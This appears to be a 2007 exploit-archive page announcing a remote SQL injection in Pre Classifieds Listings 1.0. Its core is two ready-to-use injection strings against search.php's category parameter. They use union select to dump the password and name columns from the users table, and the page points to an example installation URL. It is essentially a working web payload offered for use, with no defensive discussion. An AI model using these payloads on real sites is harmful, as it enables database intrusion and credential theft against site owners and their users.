[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Pre Classifieds Listings 1.0 Remote SQL Injection Vulnerability
# Published : 2007-05-03
# Author : xoron
# Previous Title : PHP Coupon Script 3.0 (index.php bus) Remote SQL Injection Vulnerability
# Next Title : BlogMe 3.0 (archshow.asp var) Remote SQL Injection Vulnerability


==============================================

Pre Classifieds Listings v1.0 Remote SQL Injection

==============================================

Found: Cyber-Security.org

==============================================

Exploit:
search.php?category=-1/**/union/**/select/**/pass/**/from/**/users/*
search.php?category=-1/**/union/**/select/**/name/**/from/**/users/*

==============================================

Example: http://preproject.com/phppcl/

==============================================

# www.Syue.com [2007-05-03]